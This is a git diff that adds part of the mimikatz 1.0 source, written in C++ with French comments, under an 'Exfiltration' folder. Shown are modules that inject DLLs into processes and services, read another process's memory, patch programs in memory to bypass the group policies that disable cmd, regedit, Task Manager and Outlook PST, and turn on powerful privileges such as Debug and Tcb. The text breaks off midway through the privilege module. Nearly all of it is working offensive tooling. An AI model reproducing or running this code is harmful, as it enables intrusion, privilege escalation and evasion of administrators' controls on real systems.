mod_mimikatz_inject::monCommunicator = NULL; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service")); + return monVector; +} + +bool mod_mimikatz_inject::process(vector<wstring> * arguments) +{ + wstring processName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_process::KIWI_PROCESSENTRY32 monProcess; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + (*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl; + injectInPid(monProcess.th32ProcessID, fullLib); + } + else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::service(vector<wstring> * arguments) +{ + wstring serviceName = arguments->front(); + wstring fullLib = arguments->back(); + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + (*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl; + (*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl; + injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib); + } + else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl; + + return true; +} + +bool mod_mimikatz_inject::pid(vector<wstring> * arguments) +{ + wstring strPid = arguments->front(); + wstring fullLib = arguments->back(); + + DWORD pid; + wstringstream monStream(strPid); + monStream >> pid; + + injectInPid(pid, fullLib, !(arguments->size() >= 3)); + + return true; +} + +bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm) +{ + bool reussite = false; + + if(!isComm || (isComm && !monCommunicator)) + { + if(reussite = mod_inject::injectLibraryInPid(pid, &libPath)) + { + if(isComm) + { + wstring monBuffer = L""; + + monCommunicator = new mod_pipe(L"kiwi\\mimikatz"); + (*outputStream) << L"Attente de connexion du client..." << endl; + + if(monCommunicator->createServer()) + { + (*outputStream) << L"Serveur connect un client !" << endl; + if(monCommunicator->readFromPipe(monBuffer)) + { + (*outputStream) << L"Message du processus :" << endl << monBuffer << endl; + } + else + { + (*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + { + (*outputStream) << L"Erreur : Impossible de crer un canal de communication ! ; " << mod_system::getWinError() << endl; + closeThisCommunicator(); + } + } + else + (*outputStream) << L"Inject sans communication (legacy)" << endl; + } else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Erreur : un canal de communicaton est dj ouvert" << endl; + + return reussite; +} + + +bool mod_mimikatz_inject::closeThisCommunicator() +{ + if(monCommunicator) + { + (*outputStream) << L"Fermeture du canal de communication" << endl; + delete monCommunicator; + monCommunicator = NULL; + } + return true; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h new file mode 100644 index 0000000..92b4884 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_inject.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_service.h" +#include "mod_pipe.h" +#include <iostream> + +class mod_mimikatz_inject +{ +private: + static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true); + static void startComm(); + +public: + static mod_pipe * monCommunicator; + static bool closeThisCommunicator(); + + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool pid(vector<wstring> * arguments); + static bool process(vector<wstring> * arguments); + static bool service(vector<wstring> * arguments); + + static bool injectlegacy(vector<wstring> * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp new file mode 100644 index 0000000..0d61227 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_minesweeper.h" +#include "..\global.h" + +char DISP_MINESWEEPER[] = "012345678.F? !!"; + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_minesweeper::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le dmineur en cours")); + return monVector; +} + +bool mod_mimikatz_minesweeper::infos(vector<wstring> * arguments) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + STRUCT_MINESWEEPER_GAME monGame; + if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper)) + { +#ifdef _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber >= 7000) + monGame.pBoard = monGame.pBoard_WIN7x86; +#endif + STRUCT_MINESWEEPER_BOARD monBoard; + if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper)) + { + (*outputStream) << L"Mines : " << monBoard.nbMines << endl << + L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl << + L"Champ : " << endl << endl; + + char ** monTableau; + monTableau = new char*[monBoard.nbLignes]; + for(DWORD l = 0; l < monBoard.nbLignes; l++) + monTableau[l] = new char[monBoard.nbColonnes]; + + parseField(maStruct, monBoard.ref_visibles, monTableau, true); + parseField(maStruct, monBoard.ref_mines, monTableau, false); + + for(DWORD l = 0; l < monBoard.nbLignes; l++) + { + (*outputStream) << L'\t'; + for(DWORD c = 0; c < monBoard.nbColonnes; c++) + (*outputStream) << monTableau[l][c] << L' '; + (*outputStream) << endl; + delete[] monTableau[l]; + } + delete[] monTableau; + } else (*outputStream) << L"Impossible de lire les donnes du plateau" << endl; + } else (*outputStream) << L"Impossible de lire les donnes du jeu" << endl; + CloseHandle(maStruct->hMineSweeper); + } + delete maStruct; + + return true; +} + +bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible) +{ + DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE); + + STRUCT_MINESWEEPER_REF_ELEMENT maRefElements; + if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements]; + if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + for(DWORD c = 0; c < maRefElements.nbElements; c++) + { + STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement; + if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + void * cellules = isVisible ? reinterpret_cast<void *>(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast<void *>(new BYTE[maRefColonneElement.nbElements]); + if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper)) + { + for(DWORD l = 0; l < maRefColonneElement.nbElements; l++) + { + if(isVisible) + monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast<DWORD *>(cellules)[l]]; + else + if(reinterpret_cast<BYTE *>(cellules)[l]) monTableau[l][c] = '*'; + } + } else (*outputStream) << L"Impossible de lire les lements de la colonne : " << c << endl; + delete[] cellules; + } else (*outputStream) << L"Impossible de lire les rfrences de la colonne : " << c << endl; + } + } else (*outputStream) << L"Impossible de lire les rfrences des colonnes" << endl; + delete[] ref_colonnes_elements; + } else (*outputStream) << L"Impossible de lire les rfrences de l\'lement" << endl; + + return true; +} + +bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8}; + LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1); +#elif defined _M_IX86 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8}; + LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1; +#endif + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"minesweeper.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper)) + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper)) + { +#ifdef _M_X64 + long offsetTemp = 0; + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#elif defined _M_IX86 + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#endif + } + } + } + + bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G; + + if(!reussite && monHandleAndAddr->hMineSweeper) + CloseHandle(monHandleAndAddr->hMineSweeper); + + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h new file mode 100644 index 0000000..f80be46 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_system.h" +#include <iostream> + +class mod_mimikatz_minesweeper +{ +private: + typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { + DWORD nbElements; + DWORD unk0; + DWORD unk1; + PVOID elements; + DWORD unk2; + DWORD unk3; + } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT; + + typedef struct _STRUCT_MINESWEEPER_BOARD { + PVOID Serializer; + DWORD nbMines; + DWORD nbLignes; + DWORD nbColonnes; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + DWORD unk4; + DWORD unk5; + DWORD unk6; + DWORD unk7; + DWORD unk8; + DWORD unk9; +#ifdef _M_X64 + DWORD unk_x64; +#endif + DWORD unk10; + PVOID unk11; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines; + DWORD unk12; + DWORD unk13; + } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD; + + typedef struct _STRUCT_MINESWEEPER_GAME { + PVOID Serializer; + //PVOID pGameStat; on 7x86 + PVOID pNodeBase; + PVOID pBoardCanvas; + PSTRUCT_MINESWEEPER_BOARD pBoard; + PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; + } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; + + typedef struct structHandleAndAddr{ + HANDLE hMineSweeper; + DWORD pidMineSweeper; + PVOID G; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + static bool infos(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp new file mode 100644 index 0000000..bfc18f1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_nogpo.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un diteur de registre, ignorant DisableRegistryTools")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst")); + return monVector; +} + +bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments) +{ + (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments) +{ + (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments) +{ + (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments) +{ + char szDisable[] = "DisablePst"; + char szKiwi[] = "KiwiAndPst"; + + wstring pathToOutlook; + + if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook)) + { + DWORD pidOutlook = 0; + bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook); + + (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO"); + if(reussite) + { + mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi)); + } + } else (*outputStream) << L"Outlook introuvable" << endl; + return true; +} + +bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path) +{ + bool reussite = false; + + DWORD regError; + + wstring pathToApplication = L"Software\\Classes\\"; + pathToApplication.append(application); + pathToApplication.append(L"\\CLSID"); + + HKEY hApplication; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationType = 0; + DWORD ApplicationSize = 0; + LPBYTE monGUID = NULL; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationType == REG_SZ) + { + monGUID = new BYTE[ApplicationSize]; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + wstring regPathToPath = +#ifdef _M_X64 + L"Software\\Wow6432Node\\Classes\\CLSID\\"; +#elif defined _M_IX86 + L"Software\\Classes\\CLSID\\"; +#endif + regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID)); + regPathToPath.append(L"\\LocalServer32"); + + HKEY hApplicationPath; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationPathType = 0; + DWORD ApplicationPathSize = 0; + LPBYTE monPath = NULL; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationPathType == REG_SZ) + { + monPath = new BYTE[ApplicationPathSize]; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(reussite = (regError == ERROR_SUCCESS)) + { + path->assign(reinterpret_cast<wchar_t *>(monPath)); + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monPath; + } else (*outputStream) << "Le type retourn par \'" << monPath << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplicationPath); + } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monGUID; + } else (*outputStream) << "Le type retourn par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplication); + } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl; + + return reussite; +} + + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID) +{ + bool reussite = false; + + PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION(); + if(mod_process::start(&commandLine, mesInfos, true)) + { + PEB * monPeb = new PEB(); + if(mod_process::getPeb(monPeb, mesInfos->hProcess)) + { + PBYTE patternAddr = NULL; + // Ici NULL est "tolr", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment) + if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess)) + { + if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess))) + { + (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl; + + delete monPeb; + + if(!(ResumeThread(mesInfos->hThread) != -1)) + (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl; + + if(monPID) + { + *monPID = mesInfos->dwProcessId; + } + + WaitForInputIdle(mesInfos->hProcess, INFINITE); + + CloseHandle(mesInfos->hThread); + CloseHandle(mesInfos->hProcess); + } + else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl; + + delete mesInfos; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t); + PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original diffrente du pattern cible" << endl; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char); + PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original diffrente du pattern cible" << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h new file mode 100644 index 0000000..c96e22f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include <iostream> + +class mod_mimikatz_nogpo +{ +private: + static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL); + + static bool getApplicationPathFromCLSID(wstring application, wstring * path); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool regedit(vector<wstring> * arguments); + static bool cmd(vector<wstring> * arguments); + static bool taskmgr(vector<wstring> * arguments); + static bool olpst(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp new file mode 100644 index 0000000..1b29486 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp @@ -0,0 +1,167 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_privilege.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_privilege::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Dsactive un ou plusieurs privilges")); + /* Raccouris */ + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou dsactive) le privilge Debug")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou dsactive) le privilge Security")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou dsactive) le privilge Tcb")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou dsactive) le privilge Impersonate")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou dsactive) le privilge AssignPrimaryToken")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou dsactive) le privilge Shutdown")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou dsactive) le privilge TakeOwnership")); + return monVector; +} + +bool mod_mimikatz_privilege::enable(vector<wstring> * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED); + return true; +} + +bool mod_mimikatz_privilege::remove(vector<wstring> * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED); + return true; +} + +bool mod_mimikatz_privilege::disable(vector<wstring> * arguments) +{ + bool reussite = multiplePrivs(arguments, 0); + return true; +} + +bool mod_mimikatz_privilege::simplePriv(wstring priv, vector<wstring> * arguments) +{ + bool ajout = arguments->empty(); + + (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilge : " << priv << L" : "; + + vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>; + mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0)); + + bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + +bool mod_mimikatz_privilege::multiplePrivs(vector<wstring> * privs, DWORD type) +{ + bool reussite = false; + vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>; + for(vector<wstring>::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++) + { + mesPrivs->push_back(make_pair(*monPrivilege, type)); + } + reussite = mod_privilege::set(mesPrivs); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + + +bool mod_mimikatz_privilege::list(vector<wstring> * arguments) +{ + vector<pair<wstring, DWORD>> * mesPrivs = new vector<pair<wstring, DWORD>>; + + if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE)) + { + for(vector<pair<wstring, DWORD>>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++) + { + (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t'; + + if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES) + { + if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT) + { + (*outputStream) << L"ENABLED_BY_DEFAULT "; + } + + if(monPrivilege->second & SE_PRIVILEGE_ENABLED) + { + (*outputStream) << L"ENABLED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS) + { + (*outputStream) << L"USED_FOR_ACCESS "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED"; + } + } + + (*outputStream) << endl; + } + } + else (*outputStream) << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_privilege::debug(vector<wstring> * arguments) +{ + simplePriv(SE_DEBUG_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::security(vector<wstring> * arguments) +{ + simplePriv(SE_SECURITY_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::tcb(vector<wstring> * 